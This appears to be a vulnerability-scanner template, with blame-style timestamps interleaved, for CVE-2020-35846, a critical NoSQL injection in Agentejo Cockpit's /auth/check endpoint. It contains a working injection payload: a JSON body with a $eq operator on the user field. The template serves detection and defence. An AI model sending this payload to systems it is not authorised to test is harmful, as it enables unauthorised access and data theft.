2021-04-13 19:45:06 +00:00
id : CVE-2020-35846
info :
2022-11-29 05:44:33 +00:00
name : Agentejo Cockpit < 0.11.2 - NoSQL Injection
2021-04-13 19:45:06 +00:00
author : dwisiswant0
severity : critical
2022-05-17 09:18:12 +00:00
description : Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. The $eq operator matches documents where the value of a field equals the specified value.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or data manipulation.
2023-09-06 12:22:36 +00:00
remediation : |
Upgrade Agentejo Cockpit to version 0.11.2 or later to mitigate the vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://swarm.ptsecurity.com/rce-cockpit-cms/
2022-04-29 19:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-35846
2022-05-17 09:18:12 +00:00
- https://getcockpit.com/
- https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466
2023-07-11 19:49:27 +00:00
- https://github.com/agentejo/cockpit/commit/33e7199575631ba1f74cba6b16b10c820bec59af
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-35846
cwe-id : CWE-89
2024-01-14 13:49:27 +00:00
epss-score : 0.85589
epss-percentile : 0.98278
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : agentejo
product : cockpit
2023-12-05 09:50:33 +00:00
tags : cve,cve2020,nosqli,sqli,cockpit,injection,agentejo
2021-04-13 19:45:06 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-04-13 19:45:06 +00:00
- method : POST
path :
- "{{BaseURL}}/auth/check"
2023-07-11 19:49:27 +00:00
2021-04-13 19:45:06 +00:00
body : |
{
"auth": {
"user": {
"$eq": "admin"
},
"password": [
0
]
}
}
2021-04-13 20:07:04 +00:00
2023-07-11 19:49:27 +00:00
headers :
Content-Type : application/json
2021-04-13 19:45:06 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-01-04 19:34:16 +00:00
- "password_verify() expects parameter"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2024-01-14 14:05:19 +00:00
# digest: 490a0046304402204a8f375d5021f6efd90a15bd87c08b3bd54e087eb96dad9914946bba6fc4d23b0220033793b52217434a0023d85f565bbbf7f50b3e0368cdbf40642597eb5f4defc3:922c64590222798bb761d5b6d8e72950